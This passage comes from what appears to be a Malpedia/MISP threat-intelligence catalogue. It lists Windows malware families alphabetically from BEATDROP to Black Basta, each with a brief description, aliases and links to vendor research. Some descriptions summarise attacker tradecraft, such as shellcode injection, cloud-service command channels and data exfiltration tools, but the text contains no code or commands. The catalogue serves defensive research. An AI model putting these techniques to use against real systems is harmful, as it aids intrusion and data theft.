https://malpedia.caad.fkie.fraunhofer.de/details/win.beast
https://www.cybereason.com/blog/threat-analysis-beast-ransomware

BEATDROP

According to Mandiant, BEATDROP is a downloader written in C that uses Atlassian's project management service Trello for C&C. BEATDROP uses Trello to store victim information and retrieve AES-encrypted shellcode payloads to be executed. BEATDROP then injects and executes downloaded payloads into a suspended process. Upon execution, BEATDROP maps a copy of ntdll.dll into memory to execute shellcode in its own process. The sample then creates a suspended thread with RtlCreateUserThread the thread points to NtCreateFile. The sample changes execution to shellcode and resumes the thread. The shellcode payload is retrieved from Trello and is targeted per victim. Once the payload has been retrieved, it is deleted from Trello.

The tag is: *misp-galaxy:malpedia="BEATDROP"*

BEATDROP is also known as:

Table 3296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop
https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf

https://mp.weixin.qq.com/s?biz=MzUyMDEyNTkwNA%3D%3D&mid=2247494783&idx=1&sn=612cf3cea1ef62e04bfb6bd0ce3b6b65&chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407eef960650e91ec8cc46933ab&scene=178&cur_album_id=1375769135073951745
https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/
https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58
https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf

Beavertail

The tag is: *misp-galaxy:malpedia="Beavertail"*

Beavertail is also known as:

Table 3297. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beavertail
https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/
https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/
https://www.nimanthadeshappriya.com/post/from-colombo-to-pyongyang
https://www.group-ib.com/blog/apt-lazarus-python-scripts/
https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/

Bedep

Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.

The tag is: *misp-galaxy:malpedia="Bedep"*

Bedep is also known as:

Table 3298. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep
https://web.archive.org/web/20150524032716/http://asert.arbornetworks.com/bedeps-dga-trading-foreign-exchange-for-malware-domains/
https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html
https://www.zscaler.com/blogs/security-research/malvertising-leading-flash-zero-day-angler-exploit-kit
https://blog.talosintelligence.com/bedep-actor/
https://malware.dontneedcoffee.com/2016/04/bedepantiVM.html
http://malware-traffic-analysis.net/2016/05/09/index.html

Bee

Malware family observed in conjunction with PlugX infrastructure in 2013.

The tag is: *misp-galaxy:malpedia="Bee"*

Bee is also known as:

Table 3299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bee
https://www.virustotal.com/gui/file/38f9ce7243c7851d67b24eb53b16177147f38dfffe201c5bedefe260d22ac908/detection

beendoor

BEENDOOR is a XMPP based trojan. It is capable of taking screenshots of the victim's desktop.

The tag is: *misp-galaxy:malpedia="beendoor"*

beendoor is also known as:

Table 3300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beendoor
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

BeepService

The tag is: *misp-galaxy:malpedia="BeepService"*

BeepService is also known as:

Table 3301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.beepservice
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

BellaCiao

The tag is: *misp-galaxy:malpedia="BellaCiao"*

BellaCiao is also known as:

Table 3302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bellaciao
https://www.bitdefender.com/blog/businessinsights/unpacking-bellaciao-a-closer-look-at-irans-latest-malware/
https://github.com/KittenBusters/CharmingKitten
https://harfanglab.io/insidethelab/cyclops-replacement-bellaciao/

Belonard

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.

The tag is: *misp-galaxy:malpedia="Belonard"*

Belonard is also known as:

Table 3303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.belonard
https://news.drweb.com/show/?i=13135&c=23&lng=en&p=0

Berbew

The tag is: *misp-galaxy:malpedia="Berbew"*

Berbew is also known as:

Table 3304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.berbew
https://blog.sonicwall.com/en-us/2023/02/berbew-backdoor-spotted-in-the-wild/

Berbomthum

The tag is: *misp-galaxy:malpedia="Berbomthum"*

Berbomthum is also known as:

Table 3305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.berbomthum
https://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-use-malicious-memes-that-communicate-with-malware/

BernhardPOS

The tag is: *misp-galaxy:malpedia="BernhardPOS"*

BernhardPOS is also known as:

Table 3306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-07-14-bernhardpos.md
https://securitykitten.github.io/2015/07/14/bernhardpos.html

Berserk Stealer

The tag is: *misp-galaxy:malpedia="Berserk Stealer"*

Berserk Stealer is also known as:

Table 3307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.berserk_stealer
https://blog.sekoia.io/interlock-ransomware-evolving-under-the-radar/

Bert

The tag is: *misp-galaxy:malpedia="Bert"*

Bert is also known as:

Table 3308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bert
https://any.run/malware-trends/bert/

BestKorea

The tag is: *misp-galaxy:malpedia="BestKorea"*

BestKorea is also known as:

Table 3309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bestkorea
https://github.com/Jacquais/BestKorea

BetaBot

Cybereason concludes that Betabot is a sophisticated infostealer malware that's evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim's machine and steal sensitive information.

The tag is: *misp-galaxy:malpedia="BetaBot"*

BetaBot is also known as:

- Neurevt

Table 3310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot

https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728
http://www.xylibox.com/2015/04/betabot-retrospective.html
https://www.cybereason.com/blog/betabot-banking-trojan-neurevt
http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref
https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39
https://news.sophos.com/en-us/2020/05/14/raticate/
https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html
https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html
https://securelist.com/financial-cyberthreats-in-2020/101638/

Bezigate

Bezigate is a Trojan horse that opens a back door on the compromised computer. It may also download potentially malicious files.

The Trojan may perform the following actions: List, move, and delete drives List, move, and delete files List processes and running Windows titles List services List registry values Kill processes Maximize, minimize, and close windows Upload and download files Execute shell commands Uninstall itself

The tag is: *misp-galaxy:malpedia="Bezigate"*

Bezigate is also known as:

Table 3311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bezigate
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

BfBot

The tag is: *misp-galaxy:malpedia="BfBot"*

BfBot is also known as:

Table 3312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bfbot

BHunt

BHunt collects the crypto wallets of its victims. The malware consists of several functions/modules, e.g. a reporting module that reports the presence of crypto wallets on the target computers to the C2 server. It searches for many different cryptocurrencies (e.g. Atomic, Bitcoin, Electrum, Ethereum, Exodus, Jaxx and Litecoin). The Blackjack module is used to steal wallets, Sweet_Bonanza steals victims' browser passwords. There are also modules like the Golden7 or the Chaos_crew module.

The tag is: *misp-galaxy:malpedia="BHunt"*

BHunt is also known as:

Table 3313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt
https://www.bitdefender.com/files/News/CaseStudies/study/411/Bitdefender-PR-Whitepaper-CyberWallet-creat5874-en-EN.pdf
https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/
https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger

BH_A006

According to Volexity, a loader observed to be used with multiple malware families, among them LIGHTSPY.

The tag is: *misp-galaxy:malpedia="BH_A006"*

BH_A006 is also known as:

Table 3314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bh_a006
https://www.volexity.com/blog/2024/11/15/brazenbamboo-weaponizes-forticlient-vulnerability-to-steal-vpn-credentials-via-deepdata/

BianLian (Windows)

BianLian is a GoLang-based ransomware that continues to breach several industries and demand large ransom amounts. The threat actors also use the double extortion method by stealing an affected organization’s files and leaking them online if the ransom is not paid on time. BianLian

gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian originally employed a double-extortion model in which they encrypted victims' systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion. The BianLian ransomware uses goroutines and encrypts files in chunks to quickly hijack an infected system. The ransomware adds its own extension to each encrypted file.

The tag is: *misp-galaxy:malpedia="BianLian (Windows)"*

BianLian (Windows) is also known as:

Table 3315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bianlian
https://blogs.blackberry.com/en/2022/10/bianlian-ransomware-encrypts-files-in-the-blink-of-an-eye
https://twitter.com/malwrhunterteam/status/1558548947584548865
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
https://embee-research.ghost.io/building-advanced-censys-queries-utilising-regex-bianlian/
https://embeeresearch.io/practical-queries-for-malware-infrastructure-part-3/
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://censys.com/a-beginners-guide-to-tracking-malware-infrastructure/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://embee-research.ghost.io/practical-queries-for-malware-infrastructure-part-3/
https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://www.youtube.com/live/O2Wx7mQHR2I?si=uydJupvHK6sxxw3n

BiBi

A Windows version of the BiBi wiper that was found by BlackBerry.

The tag is: *misp-galaxy:malpedia="BiBi"*

BiBi is also known as:

- BiBi-Windows

Table 3316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bibi
https://blogs.blackberry.com/en/2023/11/bibi-wiper-used-in-the-israel-hamas-war-now-runs-on-windows
https://idanmalihi.com/bibi-wiper-a-malware-analysis-amidst-the-israel-hamas-isis-conflict/

BI_D Ransomware

Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows sytem processes and kills shadow copies.

The tag is: *misp-galaxy:malpedia="BI_D Ransomware"*

BI_D Ransomware is also known as:

Table 3317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware
http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/
http://zirconic.net/2018/07/bi_d-ransomware/

bifrose

The tag is: *misp-galaxy:malpedia="bifrose"*

bifrose is also known as:

Table 3318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bifrose
https://blog.trendmicro.com/trendlabs-security-intelligence/bifrose-now-more-evasive-through-tor-used-for-targeted-attack/
https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html

BillGates

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to

perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for *nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

The tag is: *misp-galaxy:malpedia="BillGates"*

BillGates is also known as:

Table 3319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates
https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/
https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html
https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/
https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf
https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server
https://securelist.com/versatile-ddos-trojan-for-linux/64361/
https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf
https://habrahabr.ru/post/213973/

Binanen

Binanen is a dropper that drops and executes a section of itself into a hidden dummy process. According to F-Secure, it executes command line tools such as (for example) asipconfig, which is useful to retrieve the network configuration. The malware aims to steal information about the machine, the username, installed software and, more generally speaking, it potentially can carry out actions on the compromised machine.

The tag is: *misp-galaxy:malpedia="Binanen"*

Binanen is also known as:

Table 3320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.binanen
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Binanen-B/detailed-analysis.aspx

https://www.secureworks.com/research/threat-profiles/bronze-fleetwood

BioData

The tag is: *misp-galaxy:malpedia="BioData"*

BioData is also known as:

Table 3321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/
https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/

bioload

The tag is: *misp-galaxy:malpedia="bioload"*

bioload is also known as:

Table 3322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bioload
https://www.fortinet.com/blog/threat-research/bioload-fin7-boostwrite-lost-twin.html

BIOPASS

BIOPASS RAT is a malware family which targets online gambling companies in China by leveraging a watering hole attack. This Remote Access Trojan (RAT) is unique in that it leverages the Open Broadcaster Software (OBS) framework to monitor the user's screen.

The tag is: *misp-galaxy:malpedia="BIOPASS"*

BIOPASS is also known as:

Table 3323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biopass

https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf

Biscuit

The tag is: *misp-galaxy:malpedia="Biscuit"*

Biscuit is also known as:

- zxdosml

Table 3324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.biscuit
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

BISTROMATH

The tag is: *misp-galaxy:malpedia="BISTROMATH"*

BISTROMATH is also known as:

Table 3325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath
https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/
https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/
https://www.us-cert.gov/ncas/analysis-reports/ar20-045a

BitPyLock

Bitpylock is a ransomware that encrypts files by using asymmetric keys and puts '.bitpy' as suffix once the encryption phase ended. The ransom note appears on the affected user's Desktop with the following name: "# # HELP_TO_DECRYPT_YOUR_FILES # .html". At the time of writing the ransom request is 0.8 BTC and the communication email is: helpbitpy@cock.li.

The tag is: *misp-galaxy:malpedia="BitPyLock"*

BitPyLock is also known as:

Table 3326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock
https://twitter.com/malwrhunterteam/status/1215252402988822529
https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview
https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/

BITSloth

The tag is: *misp-galaxy:malpedia="BITSloth"*

BITSloth is also known as:

Table 3327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsloth
https://www.elastic.co/security-labs/bits-and-bytes-analyzing-bitsloth

Bitsran

SHADYCAT is a dropper and spreader component for the HERMES 2.1 RANSOMWARE radical edition.

The tag is: *misp-galaxy:malpedia="Bitsran"*

Bitsran is also known as:

- SHADYCAT

Table 3328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsran
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug-180129.pdf
https://content.fireeye.com/apt/rpt-apt38

Bitter RAT

The tag is: *misp-galaxy:malpedia="Bitter RAT"*

Bitter RAT is also known as:

Table 3329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://blog.strikeready.com/blog/dont-get-bitter-about-being-targeted—fight-back-with-the-help-of-the-community./
https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan
https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/
https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/
https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf

BitRAT

According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.

Furthermore, each buyer's modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.

BitRAT's popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.

The tag is: *misp-galaxy:malpedia="BitRAT"*

BitRAT is also known as:

Table 3330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat

https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf

https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://www.youtube.com/watch?v=CYm3g4zkQdw

https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4

https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html

https://asec.ahnlab.com/en/32781/

https://community.riskiq.com/article/ade260c6

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt

https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/

https://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html

https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities

https://www.recordedfuture.com/research/tag-144s-persistent-grip-on-south-american-organizations

https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/

https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html

https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://blog.qualys.com/vulnerabilities-threat-research/2023/01/03/bitrat-now-sharing-sensitive-bank-data-as-a-lure

https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md

https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/

https://www.esentire.com/blog/fake-browser-updates-delivering-bitrat-and-lumma-stealer

https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware

https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf
https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/
https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/

Bizzaro

Kaspersky Labs characterizes Bizarro as yet another banking Trojan family originating from Brazil that is now found in other regions of the world. They have seen users being targeted in Spain, Portugal, France and Italy. Attempts have now been made to steal credentials from customers of 70 banks from different European and South American countries.

The tag is: *misp-galaxy:malpedia="Bizzaro"*

Bizzaro is also known as:

Table 3331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bizarro
https://securelist.com/bizarro-banking-trojan-expands-its-attacks-to-europe/102258/

BKA Trojaner

BKA Trojaner is a screenlocker ransomware that was active in 2011, displaying a police-themed message in German language.

The tag is: *misp-galaxy:malpedia="BKA Trojaner"*

BKA Trojaner is also known as:

- bwin3_bka

Table 3332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bka_trojaner
https://www.evild3ad.com/405/bka-trojaner-ransomware/

Black Basta (Windows)

"Black Basta" is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their

negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.

The tag is: *misp-galaxy:malpedia="Black Basta (Windows)"*

Black Basta (Windows) is also known as:

- no_name_software

Table 3333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://symantec-enterprise-blogs.security.com/threat-intelligence/black-basta-ransomware-zero-day
https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/
https://cyber.levelblue.com/m/356d41d295da03cc/original/WP-LevelBlue-MDRs-Guide-Against-Black-Basta.docx
https://expel.com/blog/code-signing-certificate-abuse-in-the-black-basta-chat-leaks-and-how-to-fight-back/
https://blog.eclecticiq.com/inside-bruted-black-basta-raas-members-used-automated-brute-forcing-framework-to-target-edge-network-devices
https://www.reliaquest.com/blog/qbot-black-basta-ransomware/
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://intel471.com/blog/an-in-depth-look-at-black-bastas-ttps
https://www.youtube.com/watch?v=bJILHYLX4C4
https://www.trendmicro.com/en_us/research/25/b/black-basta-cactus-ransomware-backconnect.html
https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html
https://blog.bushidotoken.net/2025/02/blackbasta-leaks-lessons-from-ascension.html
https://flare.io/learn/resources/blog/deciphering-black-bastas-infrastructure-from-the-chat-le
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware
https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta
https://gbhackers.com/black-basta-ransomware/

https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware

https://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/

https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html

https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/A_Deep_Dive_into_the_Leaked_Black_Basta_Chat_Logs.pdf

https://www.youtube.com/watch?v=cH7BYWbtsfI

https://www.esentire.com/security-advisories/ongoing-email-bombing-campaigns-leading-to-remote-access-and-post-exploitation

https://stairwell.com/resources/stairwell-threat-report-black-basta-overview-and-detection-rules/

https://medium.com/@a-poc/black-basta-leak-analysis-add723b179a5

https://services.google.com/fh/files/misc/m-trends-2025-en.pdf

https://www.cloudflare.com/threat-intelligence/research/report/black-bastas-blunder-exploiting-the-gangs-leaked-chats/

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta

https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/

https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/

https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight

https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/

https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/pdf/2022-year-in-retrospect-report.pdf

https://www.zscaler.com/blogs/security-research/back-black-basta

https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview

https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/

https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/

https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/

https://www.youtube.com/watch?v=iD_KZAqNDZ0

https://intel471.com/blog/black-basta-exposed-a-look-at-a-cybercrime-data-leak

https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/

https://analyst1.com/wp-content/uploads/2025/04/Anastasia-Inside-BlackBasta.pdf

https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://www.orangecyberdefense.com/de/blog/threat/cybersoc-insights-analyse-einer-black-basta-angriffskampagne

https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/

https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c

https://www.trellix.com/blogs/research/analysis-of-black-basta-ransomware-chat-leaks/

https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf

https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/

https://www.reliaquest.com/blog/black-basta-social-engineering-technique-microsoft-teams/

https://securityscorecard.pathfactory.com/all/a-deep-dive-into-bla

https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies

https://www.esentire.com/blog/initial-takeaways-from-the-black-basta-chat-leaks

https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis

https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html

https://securelist.com/luna-black-basta-ransomware/106950

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/

http://ropgadget.com/posts/blackbasta_leaks.html

https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/

https://www.ontinue.com/resource/inside-black-basta-leaked-coversations/

